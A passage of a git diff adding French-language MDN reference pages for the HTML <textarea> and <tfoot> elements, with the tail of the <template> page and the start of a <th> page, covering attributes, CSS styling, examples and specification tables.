+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("slot")}}</li>
+ <li><a href="/fr/docs/Web/Web_Components/Using_templates_and_slots">Utiliser les gabarits et les emplacements (<em>templates and slots</em>)</a></li>
+ <li>{{HTMLElement("shadow")}} {{obsolete_inline}}</li>
+</ul>
diff --git a/files/fr/web/html/element/textarea/index.html b/files/fr/web/html/element/textarea/index.html
new file mode 100644
index 0000000000..8b4d48ae9a
--- /dev/null
+++ b/files/fr/web/html/element/textarea/index.html
@@ -0,0 +1,244 @@
+---
+title: <textarea>
+slug: Web/HTML/Element/Textarea
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/textarea
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;textarea&gt;</code></strong> représente un contrôle qui permet d'éditer du texte sur plusieurs lignes.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/textarea.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Dans les exemples ci-avant, on peut voir plusieurs fonctionnalités de <code>&lt;textarea&gt;</code>. Le premier exemple illustre l'utilisation la plus simple avec seul un attribut <code>id</code> qui permet d'associer l'élément <code>&lt;textarea&gt;</code> avec un élément {{HTMLElement("label")}} à des fins d'accessibilité ainsi qu'un attribut <code>name</code> qui permet de nommer la donnée qui sera envoyée au serveur lors de l'envoi du formulaire.</p>
+
+<p>Le deuxième exemple détaille des fonctionnalités plus complexes :</p>
+
+<ul>
+ <li>Les attributs <code>rows</code> et <code>cols</code> permettent de définir la taille exacte qui doit être occupée par l'élément <code>&lt;textarea&gt;</code>. Les navigateurs pouvant être différents, c'est une bonne idée que d'utiliser ces attributs pour garantir une certaine homogénéité.</li>
+ <li><code>maxlength</code> définit le nombre maximal de caractères qui peuvent être saisis dans l'élément <code>&lt;textarea&gt;</code>. Il est également possible de définir une taile minimale avec l'attribut <code>minlength</code> et d'utiliser l'attribut <code>required</code> afin de bloquer l'envoi du formulaire si aucune valeur n'est saisie. Cela permet une validation basique (on ne peut pas utiliser ici d'expressions rationnelles comme le permet l'attribut <code>pattern</code> sur les éléments {{HTMLElement("input")}}).</li>
+ <li><code>wrap</code> indique la gestion des retours à la ligne et la façon d'afficher le texte saisi lorsque celui-ci atteint le bord de la zone du <code>&lt;textarea&gt;</code></li>
+ <li>Pour prévoir un contenu par défaut, il faut inscrire le texte entre les balises de l'élément. <code>&lt;textarea&gt;</code> ne prend pas en charge l'attribut <code>value</code>.</li>
+</ul>
+
+<p>L'élément <code>&lt;textarea&gt;</code> gère plusieurs attributs utilisés par les éléments <code>&lt;input&gt;</code> : <code>autocomplete</code>, <code>autofocus</code>, <code>disabled</code>, <code>placeholder</code>, <code>readonly</code> et <code>required</code>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>À l'instar des autres éléments HTML, cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>Cet attribut est non standard, pris en charge par WebKit sur iOS, et contrôle la façon dont le texte saisi doit automatiquement être mis en majuscules. Les valeurs disponibles spour iOS 5 et les versions supérieures sont :
+ <ul>
+  <li><code>none</code> : la mise en majuscules est complètement désactivée</li>
+  <li><code>sentences</code> : la première lettre des phrases est automatiquement mise en majuscule</li>
+  <li><code>words</code> : la première lettre de chaque mot est automatiquement mise en majuscule</li>
+  <li><code>characters</code> : tous les caractères sont transformés en majuscules</li>
+  <li><code>on</code> : {{deprecated_inline}} valeur dépréciée depuis iOS 5 et qui permettait d'activer la mise en majuscule automatique.</li>
+  <li><code>off</code> : {{deprecated_inline}} valeur dépréciée depuis iOS 5 et qui permettait de désactiver la mise en majuscule automatique.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}}</dt>
+ <dd>Cet attribut indique si la valeur saisie doit automatiquement être complétée par le navigateur. Cet attribut à valeur contrainte peut prendre l'une de ces deux valeurs :
+ <ul>
+  <li><code>off</code> : l'utilisateur doit explicitement saisir une valeur dans ce champ à chaque fois qu'il l'utilise ou le document fournit son propre mécanisme d'auto-complétion. Le navigateur ne complète pas le texte saisi.</li>
+  <li><code>on</code> : le navigateur peut compléter la saisie de l'utilisateur en fonction de ce que l'utilisateur a déjà saisi précédemment sur ce champ.</li>
+ </ul>
+
+ <p>Si l'attribut <code>autocomplete</code> n'est pas indiqué à même l'élément <code>&lt;textarea&gt;</code>, alors le navigateur utilise la valeur d'<code>autocomplete</code> pour le formulaire rattaché à cet élément (c'est-à-dire son élément ancêtre <code>&lt;form&gt;</code> ou le formulaire correspond à l'identifiant fourni par l'attribut <code>form</code>). Pour plus d'informations, se référer à la documentation de l'attribut {{htmlattrxref("autocomplete", "form")}} de l'élément {{HTMLElement("form")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("autofocus")}}</dt>
+ <dd>Cet attribut permet d'indiquer que ce contrôle doit recevoir le focus au chargement de la page. Seul un élément de formulaire au sein d'un document peut avoir cet attribut déclaré.</dd>
+ <dt>{{htmlattrdef("cols")}}</dt>
+ <dd>La largeur visible du contrôle de saisie, exprimée en largeur moyenne de caractères. La valeur utilisée doit être un entier positif. La valeur par défaut de cet attribut est 20.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Cet attribut booléen indique que le contrôle est désactivé et que l'utilisateur ne peut pas interagir avec ce contrôle. Si cet attribut n'est pas utilisé, le contrôle héritera de l'état de son élément parent (par exemple de son éventuel élément parent {{HTMLElement("fieldset")}}). S'il n'existe pas d'élément englobant pour lequel l'attribut <code>disabled</code> est utilisé, le contrôle est alors actif.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>L'élément de formulaire auquel l'élément <code>&lt;textarea&gt;</code> est rattaché. La valeur de cet attribut doit être l'identifiant (la valeur de l'attribut <code>id</code>) d'un élément {{HTMLElement("form")}} du même document. Si cet attribut n'est pas défini, l'élément <code>&lt;textarea&gt;</code> doit être un descendant d'un élément <code>&lt;form&gt;</code>. Cet attribut permet notamment de placer des éléments <code>&lt;textarea&gt;</code> où qu'on le veuille dans le document et pas uniquement comme des descendants des éléments de formulaire.</dd>
+ <dt>{{htmlattrdef("maxlength")}}</dt>
+ <dd>Le nombre maximum de caractères, exprimé en codets Unicode, que l'utilisateur peut saisir. Si cet attribut n'est pas utilisé, l'utilisateur peut saisir un nombre illimité de caractères..</dd>
+ <dt>{{htmlattrdef("minlength")}}</dt>
+ <dd>Le nombre minimal que l'utilisateur doit saisir dans le champ, exprimé en codets Unicode.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom associé au contrôle.</dd>
+ <dt>{{htmlattrdef("placeholder")}}</dt>
+ <dd>Une indication fournie à l'utilisateur sur la valeur qui peut être saisie dans le contrôle. Les retours à la ligne contenus dans la valeur de l'attribut doivent être interprétés comme des sauts de ligne lorsque l'indication est affichée pour l'utilisateur. Attention, les indications servent uniquement à indiquer le type de donnée qui peut être saisi dans un champ, elles n'ont pas à remplacer un élément {{HTMLElement("label")}}. (cf. {{HTMLElement("input")}} pour plus d'explications).</dd>
+ <dt>{{htmlattrdef("readonly")}}</dt>
+ <dd>Cet attribut booléen indique que l'utilisateur ne peut pas modifier la valeur du contrôle. À la différence de l'attribut <code>disabled</code>, <code>readonly</code> n'empêche pas de cliquer ou de sélectionner le contrôle. La valeur d'un contrôle en lecture seule est tout de même envoyé avec les données du formulaire.</dd>
+ <dt>{{htmlattrdef("required")}}</dt>
+ <dd>Cet attribut indique que l'utilisateur doit nécessairement saisir une valeur afin de pouvoir envoyer le formulaire.</dd>
+ <dt>{{htmlattrdef("rows")}}</dt>
+ <dd>Le nombre de lignes de texte visibles pour le contrôle.</dd>
+ <dt>{{htmlattrdef("spellcheck")}}</dt>
+ <dd>Lorsque cet attribut vaut <code>true</code>, cela indique que la vérification orthographique et grammaticale doit être activée. La valeur <code>default</code> indique que l'élément doit suivre le comportement par défaut, éventuellement basé sur la valeur de l'attribut <code>spellcheck</code> de l'élément parent. Si cet attribut vaut <code>false</code>, le texte de l'élément ne doit pas être contrôlé.</dd>
+ <dt>{{htmlattrdef("wrap")}}</dt>
+ <dd>Cet attribut à valeur contrainte indique la façon dont les retours à la ligne automatiques sont utilisés. Les valeurs possibles pour cet attribut sont :
+ <ul>
+  <li><code>hard</code> : le navigateur insère automatiquement des sauts de ligne (CR+LF) afin que chaque ligne ne soit pas plus longue que la largeur du contrôle. L'attribut <code>cols</code> doit alors être défini.</li>
+  <li><code>soft</code> : le navigateur s'assure que tous les sauts de lignes soient représentés par une paire CR+LF mais il n'ajoute pas de sauts de ligne supplémentaires. C'est la valeur par défaut pour cet attribut.</li>
+  <li><code>off</code> : {{non-standard_inline}}, proche de <code>soft</code> mais on a la règle CSS <code>white-space: pre</code> et les lignes qui dépassent <code>cols</code> ne sont pas ramenées à la ligne. Si elles dépassent, on peut faire défiler la zone d'édition horizontalement.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Interaction_avec_CSS">Interaction avec CSS</h2>
+
+<p>Pour CSS, un élément <code>&lt;textarea&gt;</code> est <a href="/fr/docs/Web/CSS/Élément_remplacé">un élément remplacé</a> qui possède des dimensions intrinsèques (comme une image matricielle). La valeur initiale de la propriété {{cssxref("display")}} pour cet élément est <code>block</code>.</p>
+
+<p><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Le guide sur la mise en forme des formulaires HTML</a> fournit différentes indications pour mettre en forme les éléments <code>&lt;textarea&gt;</code>.</p>
+
+<h3 id="Incohérences_quant_à_la_ligne_de_base">Incohérences quant à la ligne de base</h3>
+
+<p>La spécification HTML ne définit pas l'emplacement de la ligne de base pour un élément <code>&lt;textarea&gt;</code>. Aussi, les différents navigateurs utilisent différentes positions. Pour Gecko, la ligne de base d'un élément <code>&lt;textarea&gt;</code> est définie sur la ligne de base de la première ligne du texte de <code>&lt;textarea&gt;</code>. Pour un autre navigateur, elle pourrait être définie par rapport au bas de la boîte de l'élément <code>&lt;textarea&gt;</code>. Pour ces raisons, on évitera d'utiliser {{cssxref("vertical-align")}}<code>: baseline</code> sur cet élément car le comportement serait imprévisible.</p>
+
+<h3 id="Contrôler_le_caractère_redimensionnable">Contrôler le caractère redimensionnable</h3>
+
+<p>Dans la plupart des navigateurs, il est possible de redimensionner les éléments <code>&lt;textarea&gt;</code> grâce au coin inférieur droit. Pour désactiver ce redimensionnement, on peut utiliser la propriété CSS {{cssxref("resize")}} avec la valeur <code>none</code> :</p>
+
+<pre class="brush: html">textarea {
+  resize: none;
+}
+</pre>
+
+<h3 id="Mettre_en_forme_les_valeurs_valides_et_invalides">Mettre en forme les valeurs valides et invalides</h3>
+
+<p>Les valeurs valides et invalides saisies dans un élément <code>&lt;textarea&gt;</code> (par exemple celles qui ne respectent pas le nombre de caractères défini par <code>minlength</code> et <code>maxlength</code> ou quand la valeur est absente alors que l'attribut <code>required</code> est présent) peuvent être mise en forme grâce aux pseudo-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}}. Ainsi, on peut définir une bordure différente selon que la valeur saisie est valide ou invalide :</p>
+
+<pre class="brush: css">textarea:invalid {
+  border: 2px dashed red;
+}
+
+textarea:valid {
+  border: 2px solid lime;
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>L'exemple qui suit illustre une configuration simple avec un nombre donné de lignes et de colonnes et affiche un contenu par défaut.</p>
+
+<pre class="brush: html">&lt;textarea name="textarea"
+   rows="10" cols="50"&gt;Vous pouvez écrire ici.&lt;/textarea&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple_simple','600','150')}}</p>
+
+<h3 id="Longueur_minimale_et_longueur_maximale">Longueur minimale et longueur maximale</h3>
+
+<p>Cet exemple fixe un nombre de caractère minimal et maximal. Vous pouvez essayer de saisir un texte de moins de 10 caractères ou de plus de 30 caractères.</p>
+
+<pre class="brush: html">&lt;textarea name="textarea"
+   rows="5" cols="30"
+   minlength="10" maxlength="30"&gt;Vous pouvez écrire ici.&lt;/textarea&gt;</pre>
+
+<p>{{EmbedLiveSample('Longueur_minimale_et_longueur_maximale','600','80')}}</p>
+
+<p>On notera que <code>minlength</code> n'empêche pas de retirer des caractères afin de réduire le texte en dessous de la longueur minimale. En revanche, cela rend la valeur <code>&lt;textarea&gt;</code> invalide. On notera aussi que, même lorsque <code>minlength</code> est défini, une valeur vide est considérée valide à moins que <code>required</code> soit présent.</p>
+
+<h3 id="Indication">Indication</h3>
+
+<p>Dans cet exemple, on utilise l'attribut <code>placeholder</code> afin d'afficher une indication qui disparaît dès qu'on saisit quelque chose dans la zone.</p>
+
+<pre class="brush: html">&lt;textarea name="textarea"
+   rows="5" cols="30"
+   placeholder="Voici une indication."&gt;&lt;/textarea&gt;</pre>
+
+<p>{{EmbedLiveSample('Indication','600','80')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les indications ne remplacent pas les élément {{HTMLElement("label")}}.</p>
+</div>
+
+<h3 id="Lecutre_seule_et_contrôle_désactivé">Lecutre seule et contrôle désactivé</h3>
+
+<p>Cet exemple affiche deux éléments <code>&lt;textarea&gt;</code> : le premier est désactivé avec <code>disabled</code> et le second est en lecture seule avec <code>readonly</code>. Vous pouvez les manipuler pour voir les différences : pour le premier, on ne peut pas sélectionné son contenu et la valeur n'est pas envoyée avec le formulaire ; pour le second, le contenu peut être sélectionné et la valeur est envoyée, il est uniquement impossible d'éditer le contenu.</p>
+
+<pre class="brush: html">&lt;textarea name="textarea"
+   rows="5" cols="30"
+   disabled&gt;Je suis désactivé&lt;/textarea&gt;
+&lt;textarea name="textarea"
+   rows="5" cols="30"
+   readonly&gt;Je suis en lecture seule&lt;/textarea&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Lecture_seule_et_contrôle_désactivé','600','80')}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associé_aux_formulaires">contenu de formulaire (énuméré, étiquetable, réinitialisable, envoyable)</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Du texte.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTextAreaElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-textarea-element', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.7', '&lt;textarea&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.textarea")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires : {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/tfoot/index.html b/files/fr/web/html/element/tfoot/index.html
new file mode 100644
index 0000000000..390b470314
--- /dev/null
+++ b/files/fr/web/html/element/tfoot/index.html
@@ -0,0 +1,226 @@
+---
+title: <tfoot>
+slug: Web/HTML/Element/tfoot
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Tableaux
+  - Web
+translation_of: Web/HTML/Element/tfoot
+---
+<div>{{HTMLRef}}</div>
+
+<p id="Summary">L'élément HTML <strong><code>&lt;tfoot&gt;</code></strong> permet de définir un ensemble de lignes qui résument les colonnes d'un tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/tfoot.html","tabbed-taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut à valeurs définit l'alignement horizontal pour le contenu de chaque cellule de la colonne. Les valeurs possibles sont :
+ <ul>
+  <li><code>left </code>: le contenu de la cellule est alligné à gauche de la cellule</li>
+  <li><code>center</code> : le contenu de la cellule est centré horizontalement</li>
+  <li><code>right</code> : le contenu de la cellule est aligné à droite de la cellule</li>
+  <li><code>justify</code> : insert des espaces dans le contenu textuel afin que le contenu de la cellule soit justifié</li>
+  <li><code>char</code> : aligne le contenu textuel de la cellule selon un caractère spécial avec un décalage minimum définis par les attributs  {{htmlattrxref("char", "tfoot")}} et {{htmlattrxref("charoff", "tfoot")}} {{unimplemented_inline(2212)}}.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas renseigné, la valeur <code>left</code> est prise par défaut.</p>
+
+ <div class="note"><strong>Notes : </strong>Cet attribut est devenu obsolète dans le dernier standard.
+
+ <ul>
+  <li>Pour réaliser le même effet qu'avec les valeurs left, center, right ou justify, utilisez la propriété CSS {{cssxref("text-align")}} sur cet élément.</li>
+  <li>Pour réaliser le même effet qu'avec char, vous pouvez, en CSS3, utiliser la valeur de {{htmlattrxref("char", "tfoot")}} comme valeur pour la propriété {{cssxref("text-align")}} {{unimplemented_inline}}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>Cet attribut définit la couleur d'arrière-plan de toutes les cellules. C'est un code à 6 chiffres hexadécimaux comme défini par le <a class="external" href="https://www.w3.org/Graphics/Color/sRGB">sRGB</a>. Il est précédé d'un '#'. Un de ces seize mot-clé peut également être utilisé.
+ <table>
+  <tbody>
+   <tr>
+    <td><code>black</code> = "#000000"</td>
+    <td><code>green</code> = "#008000"</td>
+   </tr>
+   <tr>
+    <td><code>silver</code> = "#C0C0C0"</td>
+    <td><code>lime</code> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td><code>gray</code> = "#808080"</td>
+    <td><code>olive</code> = "#808000"</td>
+   </tr>
+   <tr>
+    <td><code>white</code> = "#FFFFFF"</td>
+    <td><code>yellow</code> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td><code>maroon</code> = "#800000"</td>
+    <td><code>navy</code> = "#000080"</td>
+   </tr>
+   <tr>
+    <td><code>red</code> = "#FF0000"</td>
+    <td><code>blue</code> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td><code>purple</code> = "#800080"</td>
+    <td><code>teal</code> = "#008080"</td>
+   </tr>
+   <tr>
+    <td><code>fuchsia</code> = "#FF00FF"</td>
+    <td><code>aqua</code> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Il est fortement conseillé de ne pas utiliser cet attribut car celui-ci n'est pas un attribut standard et n'a été implémentée que sous certaines versions d'Internet Explorer. L'élément {{HTMLElement("tfoot")}} doit être mis en forme grâce au <a href="/fr/docs/CSS">CSS</a>. Pour fournir un effet semblable à celui achevé par l'attribut <code><strong>bgcolor</strong></code>, il est possible d'utiliser la propriété CSS {{cssxref("background-color")}} sur les éléments  {{HTMLElement("td")}} ou {{HTMLElement("th")}} souhaités.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour définir le caractère sur lequel aligner les cellules d'une colonne. Les valeurs de cet attribut contiennent généralement un point (.) pour aligner des nombres ou des valeurs monétaires. Si l'attribut {{htmlattrxref("align", "tfoot")}} ne vaut pas <code>char</code>, l'attribut est ignoré.</dd>
+ <dd>
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut est obsolète et il est donc fortement déconseillé de l'utiliser. De fait, il n'est pas supporté par le dernier standard. Pour réaliser le même effet qu'avec {{htmlattrxref("char", "tfoot")}}, on peut utiliser CSS3 en attribuant la même valeur à la propriété {{cssxref("text-align")}}.{{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut est utilisé pour indiquer le décalage, en nombre de caractères, depuis le caractère définit par l'attribut<strong> char</strong> à appliquer au contenu des cellules.
+ <div class="note"><strong>Note d'utilisation: </strong>Cet attribut ne doit plus être utilisé car il est maintenant obsolète et n'est plus supporté dans le dernier standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{Deprecated_inline}} en {{HTMLVersionInline("4")}}, {{obsolete_inline}} en {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut définit l'alignement vertical du texte des cellules de la colonne. Les valeurs possibles de cet attribut sont :
+ <ul>
+  <li><code>baseline</code> qui alignera le texte à la ligne la plus basse possible en utilisant la <a class="external" href="https://fr.wikipedia.org/wiki/Ligne_de_base_%28typographie%29">ligne de base</a> des caractères. Si les caractères ont tous la même taille, cela aura le même effet que la valeur <code>bottom</code>.</li>
+  <li><code>bottom</code> qui placera le texte au plus bas de la cellule</li>
+  <li><code>middle</code> qui centrera verticalement le texte dans la cellule</li>
+  <li><code>top</code> qui placera le texte au plus haut de la cellule.</li>
+ </ul>
+
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut étant maintenant obsolète (et n'étant plus supporté), il est fortement déconseillé de l'utiliser. La propriété CSS {{cssxref("vertical-align")}} doit être utilisée à la place.</div>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Contenu d'en-tête 1&lt;/th&gt;
+      &lt;th&gt;Contenu d'en-tête 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Contenu interne 1&lt;/td&gt;
+      &lt;td&gt;Contenu interne 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Pied de tableau 1&lt;/td&gt;
+      &lt;td&gt;Pied de tableau 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","150")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Consulter la page {{HTMLElement("table")}} pour plus d'exemples sur <code>&lt;tfoot&gt;</code>.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Zéro ou plusieurs éléments {{HTMLElement("tr")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début est obligatoire. La balise de fin peut être absente si l'élément {{HTMLElement("tbody")}} est immédiatement suivi par un élément {{HTMLElement("tbody")}} (même si celui-ci est défini implicitement) ou s'il n'y a plus de contenu au sein de l'élément parent {{HTMLElement("table")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("table")}}. L'élément {{HTMLElement("tfoot")}} doit apparaître après l'élément {{HTMLElement("caption")}}, l'élément {{HTMLElement("colgroup")}} ou l'élément {{HTMLElement("thead")}}. Il peut être situé avant ou après tous les éléments {{HTMLElement("tbody")}} ou {{HTMLElement("tr")}} mais il ne peut pas être intercalés entre ces éléments. En HTML4, l'élément {{HTMLElement("tfoot")}} ne peut pas être placé après un élément {{HTMLElement("tbody")}} ou {{HTMLElement("tr")}} (restriction levée en HTML5).</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLTableSectionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-tfoot-element','tfoot element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-tfoot-element','tfoot element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.tfoot")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML relatifs aux tableaux : {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("td")}}, {{HTMLElement("tbody")}}, {{HTMLElement("th")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}};</li>
+ <li>Les propriétés et pseudo-classes CSS qui peuvent s'avérer utiles pour mettre en forme l'élément <code>&lt;tfoot&gt;</code> :
+  <ul>
+   <li>La pseudo-classe {{cssxref(":nth-child")}} qui permet de définir l'alignement des cellules de la colonne</li>
+   <li>La propriété {{cssxref("text-align")}} qui permet d'aligner le contenu des différentes cellules par rapport à un même caractère (comme le point ou la virgule).</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/th/index.html b/files/fr/web/html/element/th/index.html
new file mode 100644
index 0000000000..e5bf917a11
--- /dev/null
+++ b/files/fr/web/html/element/th/index.html
@@ -0,0 +1,264 @@
